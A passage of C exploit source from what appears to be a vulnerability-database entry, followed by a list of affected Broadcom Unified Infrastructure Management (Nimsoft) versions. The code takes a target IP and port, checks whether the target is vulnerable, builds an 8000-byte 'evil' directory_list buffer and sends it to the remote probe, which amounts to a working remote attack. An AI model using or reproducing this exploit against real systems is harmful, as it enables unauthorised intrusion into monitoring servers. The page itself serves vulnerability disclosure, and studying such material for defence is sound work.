printf(" ./singAboutMeImDyingOfThirst -t 192.168.88.130 -p 48000\n");
exit(0);
}
int main(int argc, char **argv)
{
int c;
int sock;
int rport;
NimsoftProbe *probe;
struct sockaddr_in srv;
char *rhost, *port;
char *params[MAX_ARGUMENTS];
unsigned char *exploit_buff;
unsigned char buffer[MAX_EXPLOIT_BUFFER];
unsigned char final_buffer[MAX_EXPLOIT_BUFFER] = "directory=";
char *exploit[] = { "directory_list", final_buffer };
while (1)
{
static struct option long_options[] =
{
{"help", no_argument, 0, 'h'},
{"target", required_argument, 0, 't'},
{"port", required_argument, 0, 'p'},
{0, 0, 0}
};
int option_index = 0;
c = getopt_long (argc, argv, "ht:p:", long_options, &option_index);
if (c == -1)
break;
switch(c)
{
case 't':
rhost = optarg;
break;
case 'p':
port = optarg;
break;
case 'h':
default:
help();
break;
}
}
if (argc < 5)
help();
rport = atoi(port);
if (check_version(rhost, rport) != 0) {
printf("%s Failed to connect to target host\n", PE);
exit(-1);
}
if (check_vulnerability(rhost, rport) != 0) {
printf("%s Target failed vulnerability tests\n", PE);
exit(-1);
}
printf("%s Generating evil nimbus probe, we're watching\n", PI);
exploit_buff = generate_exploit_buffer(buffer);
memcpy(final_buffer+10, exploit_buff, 8000);
probe = packet_gen(exploit, 2, 8000);
printf("%s Sending evil buffer, R.I.P RIP - wetw0rk\n", PG);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
return -1;
srv.sin_addr.s_addr = inet_addr(rhost);
srv.sin_port = htons(rport);
srv.sin_family = AF_INET;
if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0)
return -1;
send(sock, probe->packet, probe->length, 0);
free(probe);
close(sock);
}
Products Mentioned
Configuraton 0
Broadcom>>Unified_infrastructure_management >> Version To (including) 9.20
Broadcom>>Unified_infrastructure_management >> Version From (including) 20.3.0 To (including) 20.3.3
Broadcom>>Unified_infrastructure_management >> Version 20.1
Références